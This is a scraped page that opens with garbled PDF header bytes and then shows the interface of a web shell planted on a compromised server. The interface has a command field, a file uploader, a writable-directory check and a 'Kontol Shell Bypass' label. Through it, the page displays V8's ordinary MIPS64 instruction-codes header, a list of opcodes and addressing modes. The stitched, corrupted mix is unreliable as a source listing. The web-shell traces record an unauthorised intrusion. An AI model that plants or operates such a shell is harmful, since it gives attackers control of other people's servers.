%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/deps/v8/src/compiler/backend/mips64/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/deps/v8/src/compiler/backend/mips64/instruction-codes-mips64.h
// Copyright 2014 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef V8_COMPILER_BACKEND_MIPS64_INSTRUCTION_CODES_MIPS64_H_
#define V8_COMPILER_BACKEND_MIPS64_INSTRUCTION_CODES_MIPS64_H_

namespace v8 {
namespace internal {
namespace compiler {

// MIPS64-specific opcodes that specify which assembly sequence to emit.
// Most opcodes specify a single instruction.
#define TARGET_ARCH_OPCODE_LIST(V)           \
  V(Mips64Add)                               \
  V(Mips64Dadd)                              \
  V(Mips64DaddOvf)                           \
  V(Mips64Sub)                               \
  V(Mips64Dsub)                              \
  V(Mips64DsubOvf)                           \
  V(Mips64Mul)                               \
  V(Mips64MulOvf)                            \
  V(Mips64MulHigh)                           \
  V(Mips64DMulHigh)                          \
  V(Mips64MulHighU)                          \
  V(Mips64Dmul)                              \
  V(Mips64Div)                               \
  V(Mips64Ddiv)                              \
  V(Mips64DivU)                              \
  V(Mips64DdivU)                             \
  V(Mips64Mod)                               \
  V(Mips64Dmod)                              \
  V(Mips64ModU)                              \
  V(Mips64DmodU)                             \
  V(Mips64And)                               \
  V(Mips64And32)                             \
  V(Mips64Or)                                \
  V(Mips64Or32)                              \
  V(Mips64Nor)                               \
  V(Mips64Nor32)                             \
  V(Mips64Xor)                               \
  V(Mips64Xor32)                             \
  V(Mips64Clz)                               \
  V(Mips64Lsa)                               \
  V(Mips64Dlsa)                              \
  V(Mips64Shl)                               \
  V(Mips64Shr)                               \
  V(Mips64Sar)                               \
  V(Mips64Ext)                               \
  V(Mips64Ins)                               \
  V(Mips64Dext)                              \
  V(Mips64Dins)                              \
  V(Mips64Dclz)                              \
  V(Mips64Ctz)                               \
  V(Mips64Dctz)                              \
  V(Mips64Popcnt)                            \
  V(Mips64Dpopcnt)                           \
  V(Mips64Dshl)                              \
  V(Mips64Dshr)                              \
  V(Mips64Dsar)                              \
  V(Mips64Ror)                               \
  V(Mips64Dror)                              \
  V(Mips64Mov)                               \
  V(Mips64Tst)                               \
  V(Mips64Cmp)                               \
  V(Mips64CmpS)                              \
  V(Mips64AddS)                              \
  V(Mips64SubS)                              \
  V(Mips64MulS)                              \
  V(Mips64DivS)                              \
  V(Mips64AbsS)                              \
  V(Mips64NegS)                              \
  V(Mips64SqrtS)                             \
  V(Mips64MaxS)                              \
  V(Mips64MinS)                              \
  V(Mips64CmpD)                              \
  V(Mips64AddD)                              \
  V(Mips64SubD)                              \
  V(Mips64MulD)                              \
  V(Mips64DivD)                              \
  V(Mips64ModD)                              \
  V(Mips64AbsD)                              \
  V(Mips64NegD)                              \
  V(Mips64SqrtD)                             \
  V(Mips64MaxD)                              \
  V(Mips64MinD)                              \
  V(Mips64Float64RoundDown)                  \
  V(Mips64Float64RoundTruncate)              \
  V(Mips64Float64RoundUp)                    \
  V(Mips64Float64RoundTiesEven)              \
  V(Mips64Float32RoundDown)                  \
  V(Mips64Float32RoundTruncate)              \
  V(Mips64Float32RoundUp)                    \
  V(Mips64Float32RoundTiesEven)              \
  V(Mips64CvtSD)                             \
  V(Mips64CvtDS)                             \
  V(Mips64TruncWD)                           \
  V(Mips64RoundWD)                           \
  V(Mips64FloorWD)                           \
  V(Mips64CeilWD)                            \
  V(Mips64TruncWS)                           \
  V(Mips64RoundWS)                           \
  V(Mips64FloorWS)                           \
  V(Mips64CeilWS)                            \
  V(Mips64TruncLS)                           \
  V(Mips64TruncLD)                           \
  V(Mips64TruncUwD)                          \
  V(Mips64TruncUwS)                          \
  V(Mips64TruncUlS)                          \
  V(Mips64TruncUlD)                          \
  V(Mips64CvtDW)                             \
  V(Mips64CvtSL)                             \
  V(Mips64CvtSW)                             \
  V(Mips64CvtSUw)                            \
  V(Mips64CvtSUl)                            \
  V(Mips64CvtDL)                             \
  V(Mips64CvtDUw)                            \
  V(Mips64CvtDUl)                            \
  V(Mips64Lb)                                \
  V(Mips64Lbu)                               \
  V(Mips64Sb)                                \
  V(Mips64Lh)                                \
  V(Mips64Ulh)                               \
  V(Mips64Lhu)                               \
  V(Mips64Ulhu)                              \
  V(Mips64Sh)                                \
  V(Mips64Ush)                               \
  V(Mips64Ld)                                \
  V(Mips64Uld)                               \
  V(Mips64Lw)                                \
  V(Mips64Ulw)                               \
  V(Mips64Lwu)                               \
  V(Mips64Ulwu)                              \
  V(Mips64Sw)                                \
  V(Mips64Usw)                               \
  V(Mips64Sd)                                \
  V(Mips64Usd)                               \
  V(Mips64Lwc1)                              \
  V(Mips64Ulwc1)                             \
  V(Mips64Swc1)                              \
  V(Mips64Uswc1)                             \
  V(Mips64Ldc1)                              \
  V(Mips64Uldc1)                             \
  V(Mips64Sdc1)                              \
  V(Mips64Usdc1)                             \
  V(Mips64BitcastDL)                         \
  V(Mips64BitcastLD)                         \
  V(Mips64Float64ExtractLowWord32)           \
  V(Mips64Float64ExtractHighWord32)          \
  V(Mips64Float64InsertLowWord32)            \
  V(Mips64Float64InsertHighWord32)           \
  V(Mips64Float32Max)                        \
  V(Mips64Float64Max)                        \
  V(Mips64Float32Min)                        \
  V(Mips64Float64Min)                        \
  V(Mips64Float64SilenceNaN)                 \
  V(Mips64Push)                              \
  V(Mips64Peek)                              \
  V(Mips64StoreToStackSlot)                  \
  V(Mips64ByteSwap64)                        \
  V(Mips64ByteSwap32)                        \
  V(Mips64StackClaim)                        \
  V(Mips64Seb)                               \
  V(Mips64Seh)                               \
  V(Mips64Sync)                              \
  V(Mips64AssertEqual)                       \
  V(Mips64S128Const)                         \
  V(Mips64S128Zero)                          \
  V(Mips64S128AllOnes)                       \
  V(Mips64I32x4Splat)                        \
  V(Mips64I32x4ExtractLane)                  \
  V(Mips64I32x4ReplaceLane)                  \
  V(Mips64I32x4Add)                          \
  V(Mips64I32x4Sub)                          \
  V(Mips64F64x2Abs)                          \
  V(Mips64F64x2Neg)                          \
  V(Mips64F32x4Splat)                        \
  V(Mips64F32x4ExtractLane)                  \
  V(Mips64F32x4ReplaceLane)                  \
  V(Mips64F32x4SConvertI32x4)                \
  V(Mips64F32x4UConvertI32x4)                \
  V(Mips64I32x4Mul)                          \
  V(Mips64I32x4MaxS)                         \
  V(Mips64I32x4MinS)                         \
  V(Mips64I32x4Eq)                           \
  V(Mips64I32x4Ne)                           \
  V(Mips64I32x4Shl)                          \
  V(Mips64I32x4ShrS)                         \
  V(Mips64I32x4ShrU)                         \
  V(Mips64I32x4MaxU)                         \
  V(Mips64I32x4MinU)                         \
  V(Mips64F64x2Sqrt)                         \
  V(Mips64F64x2Add)                          \
  V(Mips64F64x2Sub)                          \
  V(Mips64F64x2Mul)                          \
  V(Mips64F64x2Div)                          \
  V(Mips64F64x2Min)                          \
  V(Mips64F64x2Max)                          \
  V(Mips64F64x2Eq)                           \
  V(Mips64F64x2Ne)                           \
  V(Mips64F64x2Lt)                           \
  V(Mips64F64x2Le)                           \
  V(Mips64F64x2Splat)                        \
  V(Mips64F64x2ExtractLane)                  \
  V(Mips64F64x2ReplaceLane)                  \
  V(Mips64F64x2Pmin)                         \
  V(Mips64F64x2Pmax)                         \
  V(Mips64F64x2Ceil)                         \
  V(Mips64F64x2Floor)                        \
  V(Mips64F64x2Trunc)                        \
  V(Mips64F64x2NearestInt)                   \
  V(Mips64F64x2ConvertLowI32x4S)             \
  V(Mips64F64x2ConvertLowI32x4U)             \
  V(Mips64F64x2PromoteLowF32x4)              \
  V(Mips64I64x2Splat)                        \
  V(Mips64I64x2ExtractLane)                  \
  V(Mips64I64x2ReplaceLane)                  \
  V(Mips64I64x2Add)                          \
  V(Mips64I64x2Sub)                          \
  V(Mips64I64x2Mul)                          \
  V(Mips64I64x2Neg)                          \
  V(Mips64I64x2Shl)                          \
  V(Mips64I64x2ShrS)                         \
  V(Mips64I64x2ShrU)                         \
  V(Mips64I64x2BitMask)                      \
  V(Mips64I64x2Eq)                           \
  V(Mips64I64x2Ne)                           \
  V(Mips64I64x2GtS)                          \
  V(Mips64I64x2GeS)                          \
  V(Mips64I64x2Abs)                          \
  V(Mips64I64x2SConvertI32x4Low)             \
  V(Mips64I64x2SConvertI32x4High)            \
  V(Mips64I64x2UConvertI32x4Low)             \
  V(Mips64I64x2UConvertI32x4High)            \
  V(Mips64ExtMulLow)                         \
  V(Mips64ExtMulHigh)                        \
  V(Mips64ExtAddPairwise)                    \
  V(Mips64F32x4Abs)                          \
  V(Mips64F32x4Neg)                          \
  V(Mips64F32x4Sqrt)                         \
  V(Mips64F32x4RecipApprox)                  \
  V(Mips64F32x4RecipSqrtApprox)              \
  V(Mips64F32x4Add)                          \
  V(Mips64F32x4Sub)                          \
  V(Mips64F32x4Mul)                          \
  V(Mips64F32x4Div)                          \
  V(Mips64F32x4Max)                          \
  V(Mips64F32x4Min)                          \
  V(Mips64F32x4Eq)                           \
  V(Mips64F32x4Ne)                           \
  V(Mips64F32x4Lt)                           \
  V(Mips64F32x4Le)                           \
  V(Mips64F32x4Pmin)                         \
  V(Mips64F32x4Pmax)                         \
  V(Mips64F32x4Ceil)                         \
  V(Mips64F32x4Floor)                        \
  V(Mips64F32x4Trunc)                        \
  V(Mips64F32x4NearestInt)                   \
  V(Mips64F32x4DemoteF64x2Zero)              \
  V(Mips64I32x4SConvertF32x4)                \
  V(Mips64I32x4UConvertF32x4)                \
  V(Mips64I32x4Neg)                          \
  V(Mips64I32x4GtS)                          \
  V(Mips64I32x4GeS)                          \
  V(Mips64I32x4GtU)                          \
  V(Mips64I32x4GeU)                          \
  V(Mips64I32x4Abs)                          \
  V(Mips64I32x4BitMask)                      \
  V(Mips64I32x4DotI16x8S)                    \
  V(Mips64I32x4TruncSatF64x2SZero)           \
  V(Mips64I32x4TruncSatF64x2UZero)           \
  V(Mips64I16x8Splat)                        \
  V(Mips64I16x8ExtractLaneU)                 \
  V(Mips64I16x8ExtractLaneS)                 \
  V(Mips64I16x8ReplaceLane)                  \
  V(Mips64I16x8Neg)                          \
  V(Mips64I16x8Shl)                          \
  V(Mips64I16x8ShrS)                         \
  V(Mips64I16x8ShrU)                         \
  V(Mips64I16x8Add)                          \
  V(Mips64I16x8AddSatS)                      \
  V(Mips64I16x8Sub)                          \
  V(Mips64I16x8SubSatS)                      \
  V(Mips64I16x8Mul)                          \
  V(Mips64I16x8MaxS)                         \
  V(Mips64I16x8MinS)                         \
  V(Mips64I16x8Eq)                           \
  V(Mips64I16x8Ne)                           \
  V(Mips64I16x8GtS)                          \
  V(Mips64I16x8GeS)                          \
  V(Mips64I16x8AddSatU)                      \
  V(Mips64I16x8SubSatU)                      \
  V(Mips64I16x8MaxU)                         \
  V(Mips64I16x8MinU)                         \
  V(Mips64I16x8GtU)                          \
  V(Mips64I16x8GeU)                          \
  V(Mips64I16x8RoundingAverageU)             \
  V(Mips64I16x8Abs)                          \
  V(Mips64I16x8BitMask)                      \
  V(Mips64I16x8Q15MulRSatS)                  \
  V(Mips64I8x16Splat)                        \
  V(Mips64I8x16ExtractLaneU)                 \
  V(Mips64I8x16ExtractLaneS)                 \
  V(Mips64I8x16ReplaceLane)                  \
  V(Mips64I8x16Neg)                          \
  V(Mips64I8x16Shl)                          \
  V(Mips64I8x16ShrS)                         \
  V(Mips64I8x16Add)                          \
  V(Mips64I8x16AddSatS)                      \
  V(Mips64I8x16Sub)                          \
  V(Mips64I8x16SubSatS)                      \
  V(Mips64I8x16MaxS)                         \
  V(Mips64I8x16MinS)                         \
  V(Mips64I8x16Eq)                           \
  V(Mips64I8x16Ne)                           \
  V(Mips64I8x16GtS)                          \
  V(Mips64I8x16GeS)                          \
  V(Mips64I8x16ShrU)                         \
  V(Mips64I8x16AddSatU)                      \
  V(Mips64I8x16SubSatU)                      \
  V(Mips64I8x16MaxU)                         \
  V(Mips64I8x16MinU)                         \
  V(Mips64I8x16GtU)                          \
  V(Mips64I8x16GeU)                          \
  V(Mips64I8x16RoundingAverageU)             \
  V(Mips64I8x16Abs)                          \
  V(Mips64I8x16Popcnt)                       \
  V(Mips64I8x16BitMask)                      \
  V(Mips64S128And)                           \
  V(Mips64S128Or)                            \
  V(Mips64S128Xor)                           \
  V(Mips64S128Not)                           \
  V(Mips64S128Select)                        \
  V(Mips64S128AndNot)                        \
  V(Mips64I64x2AllTrue)                      \
  V(Mips64I32x4AllTrue)                      \
  V(Mips64I16x8AllTrue)                      \
  V(Mips64I8x16AllTrue)                      \
  V(Mips64V128AnyTrue)                       \
  V(Mips64S32x4InterleaveRight)              \
  V(Mips64S32x4InterleaveLeft)               \
  V(Mips64S32x4PackEven)                     \
  V(Mips64S32x4PackOdd)                      \
  V(Mips64S32x4InterleaveEven)               \
  V(Mips64S32x4InterleaveOdd)                \
  V(Mips64S32x4Shuffle)                      \
  V(Mips64S16x8InterleaveRight)              \
  V(Mips64S16x8InterleaveLeft)               \
  V(Mips64S16x8PackEven)                     \
  V(Mips64S16x8PackOdd)                      \
  V(Mips64S16x8InterleaveEven)               \
  V(Mips64S16x8InterleaveOdd)                \
  V(Mips64S16x4Reverse)                      \
  V(Mips64S16x2Reverse)                      \
  V(Mips64S8x16InterleaveRight)              \
  V(Mips64S8x16InterleaveLeft)               \
  V(Mips64S8x16PackEven)                     \
  V(Mips64S8x16PackOdd)                      \
  V(Mips64S8x16InterleaveEven)               \
  V(Mips64S8x16InterleaveOdd)                \
  V(Mips64I8x16Shuffle)                      \
  V(Mips64I8x16Swizzle)                      \
  V(Mips64S8x16Concat)                       \
  V(Mips64S8x8Reverse)                       \
  V(Mips64S8x4Reverse)                       \
  V(Mips64S8x2Reverse)                       \
  V(Mips64S128LoadSplat)                     \
  V(Mips64S128Load8x8S)                      \
  V(Mips64S128Load8x8U)                      \
  V(Mips64S128Load16x4S)                     \
  V(Mips64S128Load16x4U)                     \
  V(Mips64S128Load32x2S)                     \
  V(Mips64S128Load32x2U)                     \
  V(Mips64S128Load32Zero)                    \
  V(Mips64S128Load64Zero)                    \
  V(Mips64S128LoadLane)                      \
  V(Mips64S128StoreLane)                     \
  V(Mips64MsaLd)                             \
  V(Mips64MsaSt)                             \
  V(Mips64I32x4SConvertI16x8Low)             \
  V(Mips64I32x4SConvertI16x8High)            \
  V(Mips64I32x4UConvertI16x8Low)             \
  V(Mips64I32x4UConvertI16x8High)            \
  V(Mips64I16x8SConvertI8x16Low)             \
  V(Mips64I16x8SConvertI8x16High)            \
  V(Mips64I16x8SConvertI32x4)                \
  V(Mips64I16x8UConvertI32x4)                \
  V(Mips64I16x8UConvertI8x16Low)             \
  V(Mips64I16x8UConvertI8x16High)            \
  V(Mips64I8x16SConvertI16x8)                \
  V(Mips64I8x16UConvertI16x8)                \
  V(Mips64Word64AtomicLoadUint8)             \
  V(Mips64Word64AtomicLoadUint16)            \
  V(Mips64Word64AtomicLoadUint32)            \
  V(Mips64Word64AtomicLoadUint64)            \
  V(Mips64Word64AtomicStoreWord8)            \
  V(Mips64Word64AtomicStoreWord16)           \
  V(Mips64Word64AtomicStoreWord32)           \
  V(Mips64Word64AtomicStoreWord64)           \
  V(Mips64Word64AtomicAddUint8)              \
  V(Mips64Word64AtomicAddUint16)             \
  V(Mips64Word64AtomicAddUint32)             \
  V(Mips64Word64AtomicAddUint64)             \
  V(Mips64Word64AtomicSubUint8)              \
  V(Mips64Word64AtomicSubUint16)             \
  V(Mips64Word64AtomicSubUint32)             \
  V(Mips64Word64AtomicSubUint64)             \
  V(Mips64Word64AtomicAndUint8)              \
  V(Mips64Word64AtomicAndUint16)             \
  V(Mips64Word64AtomicAndUint32)             \
  V(Mips64Word64AtomicAndUint64)             \
  V(Mips64Word64AtomicOrUint8)               \
  V(Mips64Word64AtomicOrUint16)              \
  V(Mips64Word64AtomicOrUint32)              \
  V(Mips64Word64AtomicOrUint64)              \
  V(Mips64Word64AtomicXorUint8)              \
  V(Mips64Word64AtomicXorUint16)             \
  V(Mips64Word64AtomicXorUint32)             \
  V(Mips64Word64AtomicXorUint64)             \
  V(Mips64Word64AtomicExchangeUint8)         \
  V(Mips64Word64AtomicExchangeUint16)        \
  V(Mips64Word64AtomicExchangeUint32)        \
  V(Mips64Word64AtomicExchangeUint64)        \
  V(Mips64Word64AtomicCompareExchangeUint8)  \
  V(Mips64Word64AtomicCompareExchangeUint16) \
  V(Mips64Word64AtomicCompareExchangeUint32) \
  V(Mips64Word64AtomicCompareExchangeUint64)

// Addressing modes represent the "shape" of inputs to an instruction.
// Many instructions support multiple addressing modes. Addressing modes
// are encoded into the InstructionCode of the instruction and tell the
// code generator after register allocation which assembler method to call.
//
// We use the following local notation for addressing modes:
//
// R = register
// O = register or stack slot
// D = double register
// I = immediate (handle, external, int32)
// MRI = [register + immediate]
// MRR = [register + register]
// TODO(plind): Add the new r6 address modes.
#define TARGET_ADDRESSING_MODE_LIST(V) \
  V(MRI) /* [%r0 + K] */               \
  V(MRR) /* [%r0 + %r1] */

}  // namespace compiler
}  // namespace internal
}  // namespace v8

#endif  // V8_COMPILER_BACKEND_MIPS64_INSTRUCTION_CODES_MIPS64_H_

Kontol Shell Bypass